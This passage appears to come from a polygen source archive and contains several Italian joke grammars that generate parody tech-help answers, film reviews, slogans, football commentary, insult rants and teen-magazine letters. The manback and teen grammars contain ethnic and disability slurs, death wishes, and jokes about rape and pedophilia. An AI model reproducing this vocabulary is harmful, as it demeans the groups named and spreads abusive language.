cuore | sospiro [(di|nel) vento] | sogno | vento | vuoto | crepuscolo; AFObj ::= (^"'"^(anima | ombra | onda | alternativa | assenza | oscura (madre|sorella|signora))) | (^a ((goccia di rugiada) | lacrima | marea | foglia | memoria | tenebra | notte | sera | tomba) ) ; AObject ::= (art: (M: (un | il) | F: (un | l)))(M: (AMObj) | F: (AFObj)); AVERB ::= brucia|arde|(s|ri)^compare|nasce|svanisce|[si] nasconde|(s|ri)^vela|attende|aspetta|sogna; ACTION ::= ( ( (uccider|affogar|(ri|s)^cordar|dimenticar|[ri]^fuggir|narrar|attender|aspettar|immaginar |creder|sgozzar|soffocar)^(e|ti) ) |vivere|sognar^(e|ti)[e sognare]|raccontare ) [forse|ancora [una volta|e ancora]] [^"?"|^"!"] ; polygen-1.0.6.ds2/grm/ita/genio.grm0000644000175000017500000001363410340417034016357 0ustar enricoenrico I ::= "title: Il genio del computer\n" ^ "author: Manta\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "disclaim:" Marchio e Marchi sono marchi registrati di ( "Mulino Bianco" | "Barilla" | "Omnitel" | "Wind" | "San Carlo" | "Chupa & Chups" | "Saila" | "Doria" | "De Cecco" | "Sacla'" | "Mediaset" | "Pasta Jolly" | "La Molisana" | "Sile caldaie" | "De Longhi" | "Cepu" | "Mondadori" | "De Agostini" | "Santarosa" | "Ferrero" | "Perugina" | "Bauli" ) ("S.p.a." | "srl." | ^", Inc.") ^"\n" ^ "created: 12/11/2002" ; Marchio ::= Prog | Qual1 [Qual2] ; Marchi ::= Marchio [^"," Marchi] ; S ::= \Domanda^"?\n\n" ^ \Risposta^"." ; Domanda ::= [ma | sai] come (faccio a | si fa a | posso | posso fare per) Pred [Loco] | non (riesco | si riesce) a Pred [Loco]^"," come (faccio | si fa) ; Risposta ::= [prima | innanzitutto | tanto per cominciare | il fatto e' che] Periodo.ind ; (* sembra che ci sia uno stack overflow se si mettono troppi "-" sulla epsilon qua sotto (?!?) *) Periodo ::= {[Loco]} {({[aff: (appunto | per cosi' dire |+ praticamente) | neg: _]} {Aux} Pred).(--neg|aff)} (- _ | (++ e | ^"," >(ma | pero' |- perche')) [poi |- dopo] Periodo.ind. |- ^"," (in modo che | cosicche') [quindi] Periodo.cong. | per Pred. ) ; Pred ::= (Verbo Ogg).(det|indet).(M|F) |- Verbo.NOart Prog ; Aux ::= (ind: (neg: non | aff: _) devi | cong: tu (neg: non | aff: _) debba) [neg: mai | aff: _] | (ind: (neg: non | aff: _) puoi | cong: tu (neg: non | aff: _) possa) [neg: mai | aff: _] | cong: tu (neg: non | aff: _) riesca [neg: mai | aff: _] a | cong: (neg: non | aff: _) ti consenta [neg: mai | aff: _] di ; Ogg ::= Sost [[Qual1] [Qual2]] |- Ogg (Di Ogg).(det|indet).(M|F). ; Loco ::= da Prog [(e | o) Loco] | dal (menu ("Preferenze" | "Opzioni" | "File" | "Strumenti") [di "Controllo"] | ^le preferenze | ^le opzioni | pannello | ^la cartella ) di Prog ; Prog ::= ( ["X-"^]"Windows" | ["MS-"^]"DOS" | ["Redhat" | "SuSe" | "Debian" | "Mandrake"] ["Mk"^]"Linux"[^"PPC"] | [i^]"Mac"[^"OS" ["X"]] | "ICQ" | "Office" | "Word" | "Excel" | "Outlook" ["Express"] | "Photoshop" | "Flash" ["MX"] | ["Internet"] "Explorer" | "Netscape" | "AutoCAD" ) [Ver] ; Sost ::= M: ( controller | driver | [micro^]kernel | sistema [operativo] | indet: hard disk | floppy disk | case | [micro^]processore | "BIOS" | display | file | [(mini | midi)^]tower | monitor | modem | sito ["Internet" | "Web"] | server | proxy | provider | mouse | cavo | clock | ["front-side"] bus | virus | tool | software | programma | indet: hardware | mailer | indet: (allegato | attachment) | forward | computer | codice [segreto] | indet: indirizzo (di memoria | "e-mail" | "Internet" | "Web") | mousepad | sendmail | terminale | desktop | bottone | pulsante | tasto | [sotto^]menu | wordprocessor | indet: editor | connettore | pin | jumper | puntatore | (front | back)^"-end" | firewall ) | F: ( scheda [madre | grafica | sonora] | motherboard | "SIMM" | stampante | "CPU" | cache | memoria | ["e-"^]mail | "URL" | indet: (utility | applicazione) | "GPU" | "FPU" | periferica | finestra | "GUI" | connessione | login | password [segreta] | tastiera | posta elettronica | shell | indet: icona | barra spazio | testina | porta [Num | Qual1 [Qual2]] | linea | ventola | cartella | directory ) ; Qual1 ::= "SCSI" | ["E"^]"IDE" | "CD" | "AGP" | "PCI" | "ISA" | "DVD" | "ISDN" | "ADSL" | "BIOS" | "LCD" | "3D" | "Direct"^("X" | "3D" | "GL") | "OpenGL" | "3Dfx" | "DLL" | "AT"[^"I" | "X"] | ethernet | "TCP/IP" | "TCP" | "IP" | "2D" | "POP"[^3][^mail] | "SMTP" | "IRC" ; Qual2 ::= "Fast" | "Ultra" [^"-wide" | ^"DMA" [^Num] | ^piatt^(M: o | F: a)] | "RO" | "RW" | [("SG" | "D" | "S" | "EP")^] ("RAM" | "ROM") | laser | seriale | parallel^(M: o | F: a) | grafic^(M: o | F: a) | a cristalli liquidi | Num^"X" | a Num^"-bit" | "USB" | coassiale | digitale | "MIDI" | a Num pollici | di livello Num | analogic^(M: o | F: a) ; Num ::= Cifra [^Cifra] ; Cifra ::= 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 ; Ver ::= Cifra^"."^Cifra[^"."^Cifra] | "NT" | "XP" | 9^Cifra | Cifra^000 ; Verbo ::= >( [re^ | dis^]installare | [ri^]configurare | aprire | chiudere | debuggare | resettare | accendere | spegnere | rinominare | rimuovere | cancellare | digitare | staccare | attaccare | [dis^]inserire | overclockare | [s^]montare | [dis^]abilitare | pingare | far >(funzionare | partire | ^gli vedere) ) Art | >( bootare (Con | Da) | [s^]caricare (Art | Da) | (down | up)^loadare (Art | Da | Su) | loggarti (Su | Da) | (collegar | connetter)^(e Art | ti (A | Da | Con)) | salvare Su | esplorare (Art | Con) | (clickare | fare [doppio] click) (Con | Su) | mandare un messaggio A | fare telnet (Su | Da) | accedere A | inoltrare A ) ; (* preposizioni ed articoli *) Art ::= det: (M: il | F: la) | indet: (M: un | F: una) | NOart: _ ; Con ::= det: (M: col | F: con la) | indet: con Art | NOart: con ; Da ::= det: (M: dal | F: dalla) | indet: da Art | NOart: da ; Di ::= det: (M: del | F: della) | indet: di Art | NOart: di ; Su ::= det: (M: sul | F: sulla) | indet: su Art | NOart: su ; A ::= det: (M: al | F: alla) | indet: a Art | NOart: a ;polygen-1.0.6.ds2/grm/ita/ghezzi.grm0000644000175000017500000001471510340417034016557 0ustar enricoenricoI ::= "title: Ghezzi Simulator\n" ^ "author: CUG <cug@telcanet.it>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: cinematography\n" ^ "audience: chi ha visto almeno una volta La Corazzata Potemkin\n" ^ "thanks: si ringrazia Beppo per l'idea\n" ^ "created: 27/07/2004" ; S::= \ECCO TITOLO SEGNO.V [di REGISTA SEGNO.V] FILM (SEGNO.PU1 (TITOLO | questo film | _ ) | SEGNO.V che) DESCR ({BULLSHIT} {PERSONALE})+; ECCO ::= ecco [a voi] | eccovi | osserviamo ; FILM ::= un [vecchio] ( film | lungometraggio | cortometraggio | mediometraggio ) NAZIONE del ANNO ; TITOLO := ""SEGNO.VT^TITOLO2 SEGNO.VT; ALTROTITOLO ::= ""SEGNO.VT^TITOLO2 SEGNO.VT; TITOLO2 ::= \([un | le | mon ] (chien | homme | mer | fleur | baguettier | barbezieux ) (andalou| dequeulasse | debile |tarabiscot^"\233" | tatillon | imbu | loufogue | du tonnerre)) [-----est mort]| \((das | die | der) \[(uber|utter|achter)\^](kabinett | strasse | eier | scheisse | knochen | schmutz | wasche | zimmer) [der \(doktor | meister | herr ) NOME.GER] ); NOME ::= \ ( GER:(schu|klins|bodens|grunt|magnus|[st^]ein)^(tein|her|mann|s^(e|o)^n) | SLAV:((savice|stojako|mijato|[kol^]ivano|boriso|sergeij|buko|kieslo)^(v[^ic]|wskij)) | FRA:((dela|du|bo|cha|re|moi)^{(s|r|l)}^{(d|t)}^(eau[^x]|oi[^x]|ard)) ) ; REGISTA := NOME.(GER|SLAV|FRA) ; NAZIONE ::= polacco | tibetano | israeliano | indiano | vietnamita | groenlandese | eschimese | francese | [bielo^]russo | paraguaiano | sanmarinese | vaticano | basco; ANNO ::= "1"^CIFRA^CIFRA^CIFRA ["a.C." | "d.C"] ; CIFRA ::= "1" | "2" | "3" | "4" | "5" | "6" | "7" | "8" | "9" | "0" ; DESCR::= NUTSHELL TECNICAMENTE ; NUTSHELL::= (e' | puo' essere visto come | si propone come) (ART::=un^(M:""|F:a); ART AGG GENERE).(M|F) [BERSAGLIO] (PREP::=di un^(M:""|F:a); PREP {AGG} {CARATTERISTICA [CARATT2]} ).(M|F) SEGNO.PU3 ; TECNICAMENTE ::= (TITOLO | questo film | _ ) (e' | viene reso da REGISTA come| appare come) (RACCOLTA CARATT2).(M|F) di OGGETTO [SEGNO.V (RACCOLTA CARATT2).(M|F) di OGGETTO ] SEGNO.PU1 ; RACCOLTA ::= M: (un "pot-pourri" | un melting pot | un calderone | un mescolone un insieme ) | F: (una raccolta | un'unione | una sequenza); AGG ::= fredd^(M:o|F:a) | gelid^(M:o|F:a) | triste | grigi^(M:o|F:a) | monocorde| salace| tagliente | malriuscit^(M:o|F:a)| utopi^[sti^]c^(M:o|F:a) | distopi^[sti^]c^(M:o|F:a) | orwellian^(M:o|F:a) | eliottian^(M:o|F:a) ; CARATTERISTICA ::= M:(sintetismo | ermetismo | senso della CARATTERISTICA.F ) | F:( sintesi | logica | coerenza ) ; CARATT2 ::= antitetic^(M:o|F:a) | pleonastic^(M:o|F:a) | ermeneutic^(M:o|F:a) | catartic^(M:o|F:a)| anabasic^(M:o|F:a)| sofferente ; GENERE ::= M:(spaccato | ritratto | panorama) | F:(critica|satira|parodia); BERSAGLIO ::= (X::=(dell'ingiustizia | del bigottismo | dei pericoli | della stupidita' | dell'insensatezza | dell'inutilita'); [X [e X]]) (della societa' | del sistema | della politica | del modernismo | del progresso | dell^(a|'alta|a piccola) borghesia | dell'ancien regime ); GERUNDIO ::= (narrando | facendo menzione | parlando | raccontando) ; BULLSHIT ::= [AVVERBIO] [NOTICE] (CONTESTO DICHECOSA ACAUSADI).(M|F) OGGETTO AGGETTIVO [SEGNO.V e AGGETTIVO] SEGNO.V SOGGETTO POTREBBE [AVVERBIO] AVVERBIO2 [AGG.M] (SEGNO.PU1 | SEGNO.V GERUNDIO (del concetto | del senso) BERSAGLIO (rispetto | paragonato | confrontato ) alle [PREFIX]OGGETTO di (\godard | \eisenstein | \dreyer | NOME.(GER|SLAV|FRA) ) SEGNO.PU1); AVVERBIO ::= indubbiamente | certamente | ovviamente | probabilmente | forse | senza dubbio ; AVVERBIO2 ::= [PREFIX] ( differentemente | conformisticamente | kafkianamente | godardianamente | biograficamente ); PREFIX ::= casual^ | metro^ | pseudo^ | ant(^e|^i)^ | meta^ | preter^ | auto^ ; NOTICE ::= (possiamo notare | osserviamo | ci si puo' rendere conto | ci si accorge ) che; CONTESTO ::= F:(in un'ottica | in una visione | in una circostanza | in un'espressione | da un'angolazione | in una \weltanschaaung) | M:(in un contesto | in un ambiente) ; DICHECOSA ::= di ([e^]straniamento | smarrimento | ascensione | emozione | ermeneuticita' | catarsi | \bildungsroman | crescita [morale | spirituale] | pulsione | sensualita' ) ; ACAUSADI ::= dovut^(M:o|F:a) a | causat^(M:o|F:a) da | derivat^(M:o|F:a) da | improntat^(M:o|F:a) a ; OGGETTO ::= presenze sceniche | sequenze di immagini | sonorita' mute | tematiche trasformate in OGGETTO | precessioni "causa-effetto" | disposizioni luminose | casualita' | introspezioni (epanal|prol)(^e|--^a)^ttiche | citazioni ; AGGETTIVO ::= [AVVERBIO] (retro' | di dubbio gusto | colte | sequenziali | oniriche | godardiane | kafkiane | dreyeriane | barocche | manieristiche | [anti^]conformiste ); SOGGETTO ::= il protagonista | il regista [REGISTA] | REGISTA | lo spettatore | il figurante | l'interprete | il soggetto | il contenuto emozionale ; POTREBBE ::= potrebbe essere visto | si potrebbe vedere | potrebbe considerarsi | potrebbe palesarsi | potrebbe riscoprirsi | si potrebbe reinventare ; (* Ora vi sfido a capire qualcosa in questa cosa qui. *) PERSONALE ::= \[personalmente | in effetti | devo dire che | bisogna dire che | d'altra parte ] ((([non] (mi trovo d'accordo | concordo | ci si potrebbe trovare d'accordo )) con NOME.FRA) | ((ritengo | credo | penso | mi sembra)[comunque] che NOME.FRA [non] (abbia ragione | sia in torto))) quando (dice | afferma | asserisce | insinua ) che (TITOLO | il (film | capolavoro) di REGISTA) sia ([solo] RACCOLTA di OGGETTO | soltanto (un esercizio | un'esibizione) [di stile] [registico] (per mezzo di | tramite | attraverso) (un uso | un utilizzo | uno sfoggio)[smodato|eccessivo|ridondante] di OGGETTO ) [SEGNO.V e basta] SEGNO.PU1 [AVVERBIO SEGNO.V confrontando,paragonando TITOLO con,a ALTROTITOLO SEGNO.V [di NOME.(FRA|GER|SLAV) SEGNO.V | sempre di REGISTA SEGNO.V] NOTICE (e' presente in TITOLO | e' [quasi] palpabile | fa sempre la sua presenza | il film e' permeato da ) (una sensazione | un sentore | un "fil-rouge") DICHECOSA (che [pochi] altri registi (sanno | possono | sono in grado di ) offrir(^e|^ci) | che e' {[diventato]} {[un po' | in effetti ]} (il marchio | tipico ) di REGISTA | che (non | difficilmente | raramente | quasi mai) (troviamo | troveremo | abbiamo trovato) in (film | lungometraggi | opere) come ALTROTITOLO [o ALTROTITOLO]) SEGNO.PU1 ] ; SEGNO ::= (PU0: ^".\n\n"^\ | PU1:^".\n"^\ | PU2: ^":"\ | PU3: ^"."\ | V: ^"," | VT: ^"\"" | PI: ^"?"\ | PE: ^"!"\ );polygen-1.0.6.ds2/grm/ita/meliconi.grm0000644000175000017500000000760610340417034017057 0ustar enricoenricoI ::= "title: Prodotti Meliconi\n" ^ "author: Er Poly <mogkogk@hotmail.com>\n" ^ "language: italian\n" ^ "status: refinable\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "disclaim: " ^ [ >( ( mi sembra | e' ) incredibile | troppo bello | wow | [ vi | ve lo ] giuro | ah ) ^ "," | [ forse ]non ci crederete ^ "," ma ] da quando ( uso | c'ho | ho [ comprato | acquistato ] ) PRODOTTO.art \meliconi ( niente piu' | non ho ( { [ mai ] piu' } { avuto } ) ) ( casini | +++problemi | guai | impicci | inconvenienti | fastidi | scocciature | seccature | -rogne ) con COSE.art ^ "!!!\n" ^ "created: 19/09/2004" ; S ::= \ ( GUSCIO.art ( _ | ++++PRODOTTO.raw ) | PRODOTTO.art ( _ | -----GUMBODY ) ) \meliconi ( _ | --- "(" ^ con accessori ^ ")" ) ; PRODOTTO ::= ( GIRA ^ \ ( >COSE | -->TELECOMANDO ).raw. | --( art: "il" | raw: _ ) \ salva ^ \ TELECOMANDO ) ; GIRA ::= ( art: il | raw: _ ) \ >( +++++++++gira | +++++++porta | ++solleva | bagna | batti | caga | calpesta | camuffa | ---dissotterra | divarica | piega | ---plasma | prolunga | pulisci | raccatta | +cattura | +deturpa | +disattiva | ++++capovolgi | ++muovi | ++pigia | ++prendi | ++pressa | ++contorci | +++copri | ++deforma | ++gonfia | ++lancia | ++manovra | ++recupera | ++ridimensiona | ++rinforza | ++rotea | ++rovescia | proteggi | ++ruota | ++torci | +++++trova | --pizzica ) | ( art: l' ^ | raw: _ ) \ >( ++++alza | +++allunga | +++allarga | ++impugna | ++acchiappa | ++accendi | ++accavalla | ++accascia | ++accartoccia | ++abbassa | +innalza | abitua | +incurva | +incastra | +incarta | +incappuccia | +imbavaglia | +avvolgi | +afferra | +addrizza | +addomestica | +adatta | +accresci | +accomoda | +acciacca | inforca | inchioda | inceppa | imburra | espelli | attizza | arriccia | ammortizza | ammacca | affila | affetta | adorna | ammazza | accorda | accentra | accarezza | accantona | ++accalappia | avviluppa ) | ( art: lo | raw: _ ) \ >( +++storci | +++sposta | ++smonta | +++svuota | +++svita | ++sgonfia | ++scuoti | ++schiaccia | +spingi | +spacca | +sdraia | spalma | sciacqua | sblocca | -stura | -srotola | ++++scopa | --sbrina ) ; TELECOMANDO ::= telecomando | tivu' | tutto | bicchieri | tastiera | computer | gomma | bottiglie | stereo ; COSE ::= ( ( art: il | raw: \ ) >( preservativo | prepuzio | culo | cefalo | cerume | frigo | cervello ) | ( art: lo | raw: \ ) >( sperma | scroto | stronzo | sterzo ) | ( art: la | raw: \ ) >( ++plastica | ++stufetta | cannuccia | panza | patacca | sporcizia | cotica ) | ( art: i | raw: \ ) >( +rotoli | testicoli | profilattici | fiammiferi | foruncoli | maroni ) | ( art: gli | raw: \ ) >( ++++oggetti | ombrelli | stupefacenti | ---insetti | orifizi ) | ( art: le | raw: \ ) >( ++++cose | mutande | cicche | cagate | persone | ++palle | budella | emorroidi | gonadi | canne ) | ( art: l'^ | raw: \ ) >( immondizia | antenna | eczema | ernia | oliera | uranio ) ) ; GUSCIO ::= ( art: il | raw: _ ) \ >( +++++++++++++++++++++++++++++ > ( guscio | ++GUMBODY ) | derviscio | manrovescio | subconscio | gancio ) | ( art: lo | raw: _ ) \ >( scamoscio | ++++++sguscio ) ; GUMBODY ::= \ >( ++++++++++++gum | boom | gundam | ++++cum | -----gay | ben | +cul ) ^ \ >( ++++++++++body | boy | +++++++gody | boris | kiody | splody | poly ) ;polygen-1.0.6.ds2/grm/ita/pizzul.grm0000644000175000017500000000651710340417034016615 0ustar enricoenricoI ::= "title: Telecronaca calcistica di Bruno Pizzul\n" ^ "author: Velenux <velenux@oltrelinux.com>\n" ^ "language: italian\n" ^ "status: testing\n" ^ "topic: azioni da moviola\n" ^ "audience: tutti i tifosi\n" ^ "dedicato a:" Giocatore ^"\n" ^ "created: 26/03/2004" ; (* --- PRINCIPALE --- *) S ::= \ Inizio ^ "..." Svolgimento ^ "..." Fine [ S ] ; (* --- BLOCCHI PRINCIPALI --- *) Inizio ::= CentroCampo | RecuperoPalla | Punizione ; Svolgimento ::= AzionePersonale | AzioneOrchestrata ; Fine ::= Gol [CommentoGol] | Legno [CommentoLegno] | Fuori [CommentoFuori] | Fallo [CommentoFallo] ; (* --- BLOCCHI SECONDARI INIZIO --- *) CentroCampo ::= si riparte da centrocampo ^ "." Giocatore passa a Giocatore ; RecuperoPalla ::= Soggetto (recupera|ruba) palla InZona ; Punizione ::= dopo il brutto fallo [da dietro] su Giocatore ^ "," si riparte con la punizione ^ ";" batte Giocatore ^ "," che AzioneOrchestrata ^ "..." ecco ; (* --- BLOCCHI SECONDARI SVOLGIMENTO --- *) AzionePersonale ::= calcia UnTiro direttamente da dove si trova | AzioneGiocatore e poi tira in porta ; AzioneOrchestrata ::= (Passaggio|Cross|Lancio) Giocatore [^ "," che AzioneOrchestrata] ; (* --- BLOCCHI SECONDARI FINE --- *) Gol ::= ed "e`" [un gran[^de|^dissimo]] gol PuntiEsclamativi ; CommentoGol ::= una gran(^de|^dissima) azione PuntiEsclamativi | una azione che "restera`" negli annali del calcio; Legno ::= (palo[^(oo|oooo|ooooooo)]|traversa) PuntiEsclamativi ; CommentoLegno ::= "e`" una vera sfortuna per (Giocatore|la squadra) PuntiEsclamativi ; Fuori ::= (e Giocatore la butta fuori|ed "e`" a lato di poco|e spara alto) PuntiEsclamativi ; CommentoFuori ::= ma come ha fatto a sbagliare quel tiro ^ "???" | era "piu`" difficile sbagliare ^ "..."; Fallo ::= e viene (messo "giu`"|atterrato|falciato) [da Giocatore] ^ "..." \ ; CommentoFallo ::= veramente una bruttissima entrata ^ "..." | un fallo tattico per fermare "l'azione" ^ "..." ; (* --- HELPERS --- *) Soggetto ::= il numero NumeroMaglia | ++ Giocatore | il giocatore NumeroMaglia ^ "," Giocatore ^ ","; InZona ::= a centrocampo | in difesa | nella "meta`" campo avversaria | al limite "dell'area" | poco oltre centrocampo | vicino alla bandierina del calcio "d'angolo" ; UnTiro ::= (una (pennellata|scodellata|bomba|salamelecca|[gran] botta da fuori) | un tiro (potente|preciso|ad effetto) ) verso (la porta|"l'incrocio" dei pali|il (primo|secondo) palo|il portiere) ; AzioneGiocatore ::= [AzioneGiocatore ^ ","] ( (parte|si invola) (sulla fascia|verso il centro) | dribbla NumeroDribling giocatori [ con una serie di finte ] | scatta in avanti ) ; NumeroDribling ::= 2 | 3 | 4 ; PuntiEsclamativi ::= ^ ("!"|"!!"|"!!!") \ ; Passaggio ::= (passa|avvicina|tira) la (sfera|palla) [ancora|di nuovo] a ; Cross ::= (crossa|lancia alto) la (sfera|palla) [ancora|di nuovo] a ; Lancio ::= (lancia lungo) per ; (* --- HELPERS per gli HELPERS --- *) NumeroMaglia ::= 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 | 10 | 11 ; Giocatore ::= "Meneghin" | "Barelli" | "Branca" | "Stivetto" | "Baroni" | "Scamuorz (e` tedesco)" | [il brasiliano] "Duilio" | "Sempronio" | "LaMorte" | "Ciccio" | "Di Giovanni" | "Rotulino" | "Del Giglio" | "Canimortis" | "Esposito" | "Di Francesco" | "Biddi" | "Cardu" | "Analis" ; polygen-1.0.6.ds2/grm/ita/manback.grm0000644000175000017500000000573710340417034016657 0ustar enricoenricoI ::= "title: Message to Harry Manback\n" ^ "author: Alan aka ^anakin^ <alanzap@freemail.it>\n" ^ "language: italian and english\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: Maynard e i suoi amici\n" ^ "comment: questa grammatica e' ispirata al brano Message to Harry Manback che si trova sul disco Aenima del gruppo prog rock Tool\n" ^ "created: 23/10/2004" ; S ::= M ^"\n"^ "" ; M ::= \ Bla Bla Bla Bla Bla Bla [Bla] [Bla] Insulto^( "." | "!" ); Bla ::= (Domanda | Insulto^Punteggiatura); Insulto ::= ( "figlio di puttana" | "when you kicked out people your house I tell you this, one of three" [fucking] "Americans die of cancer, you know? You're gonna be one of those" Could | "asshole" | "I don't have the courage to kick your" [fucking] "ass directly, don't have enough" [fucking] "courage for that" | "fuck you" | "die" | "bastard" | "if I ever see your fucking face around, in Europe or" ("Italy" | "Zagarolo" | "Piazzola" | "San Culamo Terme") ^", well I'll that time I'm gonna kick your" (balls|ass) Could | "fucking Americans" [^", Yankee"] | "you're gonna die outta cancer, I promise" | "no one does what you did to me" | "I want your" [fucking] (balls|ass) "smashed" | "eat shit" | "pezzo di merda" | "figlio di puttana" | "I hope somebody in your family dies" [outta cancer] "soon" | "crepa" | "vai a sucare cazzi su un aereo" | "stronzo"^[( _ | " di merda" | " bastardo")] | "I'm trying to take a nup but I couldn't sleep overnight because of" (you |+ "your" [fucking] "ugly face") | ("ugh" | "oh")^( _ | hh | hhh | hhhh)^", you really" [really] "hurted me" | "talk to me" | [mi] "fai" [proprio] "schifo" | "quanto mi fai schifo" [^"," [mi] "fai" [proprio] "schifo"] | "my heart beats too fast because I'm thinking of your" [fucking] "ugly face" | "you suck" | "vaffanculo" [va] | "w"^(o|ooo|ooooo)^"w" ); Domanda ::= ( [lo] "sai che" [tu] "sei" ("un pezzo di merda" | "uno stronzo") [bastardo] ^"?" Know | "you think you're" [so] [fucking] "cool, hm?" | "you know you're gonna have another accident?" Know | "you know I'm involved with black magic?" Know | "you wanna know something?" | "when I was high, you called me an asshole?" | "have you ever been trying to take a nup?" )\; Punteggiatura ::= ( "," | "."\ | "..." | "!"[+_|^"!"]\ | " ..hm?"\); Could ::= ^", I could" [+^", you know"][^", I promise"]; Know ::= [--"...you know?"];polygen-1.0.6.ds2/grm/ita/teen.grm0000644000175000017500000002543410340417034016212 0ustar enricoenrico I ::= "title: Lettere a riviste per teen\n" ^ "author: Manta, Vision-X.it\n" ^ "language: italian\n" ^ "status: mature\n" ^ "topic: misc\n" ^ "audience: anybody\n" ^ "disclaim: non si serba rancore per alcuna minoranza (" ^ ( negri | cinesi | gay | ebrei | arabi | pellerossa | eschimesi | zingari | serbi | [serbo^]croati | bianchi | bambini | anziani | sordi | muti | ciechi | mongoloidi | portatori di handicap | montenegrini | magrebini | paralitici | barboni | tunisini | algerini | marocchini | curdi | turchi | rom | palestinesi ) ^ " esclusi)\n" ^ "created: 28/08/2002" ; S ::= (N := Nick; \Saluto ({[(sono | mi chiamo) N (e | ^",")]} {[ho Numero^Numero anni (e | ^",")]}) Prologo^"."\ [[Esclam] [c amiamo tant[^issim]^o e oggi facciamo Tempo ke s[^t]^iamo assieme^"."\]] ({[Esclam] Problema^"."\} {[Esclam] Disperazione^"."\}) [Epilogo^"."\ [Esclam]] "\n"^\Saluti^"," N^'^Numero^Numero) ; Esclam ::= { {[vi prego]} { aiuto | aiutatemi | rispondetemi | datemi una mano | cercate di capirmi } | ke [mega | super] ([s^]fi^(g | k)^ata | merda | kasino | manikomio | bordello | storia ) | [kuesto] e' troppo } {[Amiche]} ^PuntiEsclam\ ; PuntiEsclam ::= "!" (_ |+ ^PuntiEsclam) ; Saluto ::= cara Mag^"," | care Amiche^"," | ciao Amiche^"!"\ [tutto rego^"?"\] ; Mag ::= "Top Girl" | "Cioe'" | "Girl Power" | "Teen" ; Amiche ::= amiche | girls | friends | raga ; Boy ::= boy | raga[^zzo] | tipo | moroso ; Nome ::= >Lettera^"." | "Beppe" | "Kekko" | "Gianbortolo" | "Ermenegildo" | "Ernesto" | "Ennio" | "Filiberto" | "Asdrubale" |+ "Helder" ; Prologo ::= ({sono (insieme | assieme) | ho una [love^]story} {da Tempo}) con (il mio Boy | Nome) ke e' Aggettivo1 (-- _ | e Aggettivo1) ^"," se devo dirla tutta e' anche Aggettivo2 (-- _ | e Aggettivo2) [xo'] [sa anche essere Aggettivo1 (-- _ | e Aggettivo1)] | {Tempo fa ho conosciuto} {Dove} (un Boy | Nome)^"," Aggettivo1^"," era anche Aggettivo1 [e Aggettivo1] ma un po' Aggettivo2 [xo'] | {da Tempo} {mi piace [un kasino]} (un Boy | Nome) [che ho bekkato Dove] ma Vittima non vuole Azione ; Dove ::= al mare | al "Piave" | al cinema | in disko | al bowling | (al compleanno | alla festa) (Morosa | della mia friend Nick) | a skuola | all'uni | al cirko | a messa | all'oratorio | in autobus | in korriera | al bar | in stazione | (in | su) internet | in chat | "on-line" | in gelateria ; Problema ::= (il mio prob[^lema] e' ke | ho un problema [Amiche]^":") Problema1 [e Problema1] [^"," ma nn vuole Azione] [e (come se nn bastasse | oltretutto | in "+" | tra l'altro) Problema2] [e nn gliel'ho ancora detto | e nn lo sa | e nn ho coraggio di dirglielo] ; Disperazione ::= sono (disperatissima | preokkupatissima) [anke] xke' [dopo essermi Operazione^","] Problema2 [^"," (e | ma) nn so come dirgli Risposta [^"," anke se vorrei tanto farlo]] ; Epilogo ::= [beh^","] (penso | mi sa [tanto]) ke alla fine andro' a (scoparmi | cercarmi) Lavoro.indet Razza.M^"," tanto Vittima Problema1 [e Problema2] ; Saluti ::= Ciao [e Ciao] ; Ciao ::= "T."^TVB^"B." | ciao | bye [bye] | [tanti] baci[^(oni | ni | otti)] ; TVB ::= ("T." | "V." | "B.") (_ |+++ ^TVB) ; Aggettivo1 ::= Agg.super | [tanto | proprio] Agg.agg ; Agg ::= bell^(super:issim | agg: _)^o | affascinant^(super:issimo | agg:e) | fig^(super:hissim | agg: _)^o | fik^(super:issim | agg: _)^o | giovan^(super:issimo | agg:e) | fort^(super:issimo | agg:e) | determinat^(super:issim | agg: _)^o | seri^(super:ssim | agg: _)^o | protettiv^(super:issim | agg: _)^o | stupendo | karin^(super:issim | agg: _)^o | dolc^(super:issimo | agg: e) | amorevol^(super:issimo | agg: e) | premuros^(super:issim | agg: _)^o | romantic^(super:issim | agg: _)^o | divertent^(super:issimo | agg: e) ; Aggettivo2 ::= stronzo | bastardo | traditore | malato di aids | tossicodipendente | figlio di puttana | puttaniere | impestato di merda | necrofilo | pedofilo | coprofago | farabutto ; Tempo ::= Numero^Numero Unita ; Numero ::= 2 | 3 | 4 | 5 | 6 | 7 | 8 | 9 ; Unita ::= >Unita2 | settimane | mesi | anni ; Unita2 ::= minuti | ore | giorni ; Azione ::= ke lo faccia anch'io | ke lo aiuti a (farlo | smettere) | ke lo dica a tutti | ke ne parli con (i miei | i suoi) [amici | friends] | ke ne discutiamo [tra [di] noi] | ke lo scriva sul diario | (farlo sapere | ke si sappia) [in giro] ; Problema1 ::= si fa in vena di cibalgina | spaccia crack alle elementari | gestisce un giro di prostituzione Razza.F | ha un cancro ai testicoli | (fa Lavoro.det | e' Lavoro.indet) | e' (gay | negro | ebreo | croato | marocchino | zingaro | cinese | algerino | vergine | terrone ) | ammazza le vecchiette [ke fanno la spesa | ke vanno a messa] | scoreggia a catechismo | vomita sulla skodella del cane ogni Numero Unita | se lo mena in classe [davanti a tutti] | ha le emorroidi anke davanti | si rade le ascelle | da' fuoko agli (zingari | albanesi) | stupra i bidelli della skuola | ruba i fiori (in cimitero | in chiesa) | mi ha toccata con ParteCorpo e ho [tanta] paura di essere [rimasta] incinta ; ParteCorpo ::= >> la ( (natica | spalla | coscia | caviglia | meninge | tempia) <[destra | sinistra] | mandibola | schiena | dentiera ) | il ( petto | ( braccio | gomito | ginocchio | piede | alluce | mignolo | lobo ) <[sinistro | destro] ) << ; Problema2 ::= sono incinta {da Numero mesi} {di Lavoro.indet Razza.M [ke prende ("-" | meno) di Numero ^ Numero ^ Numero euro al mese]} | ho appena ucciso {Vittima} {con Arma [Colpito]} [mentre scopavamo Luogo] | mi restano Numero Unita di vita dopo ke mi sono Operazione [e per questo continuo ad amare Vittima] | >( sono insieme con 1 compagna Scuola | ho appena conosciuto Lavoro.indet Razza.M ) [e c facciamo Luogo ogni Numero Unita2] | mi sono innamorata di Lavoro.indet Razza.M [ke vuole [a tutti i costi] Desiderio] ; Vittima ::= il mio ex | il mio cane | la mia vici | la mia amika del 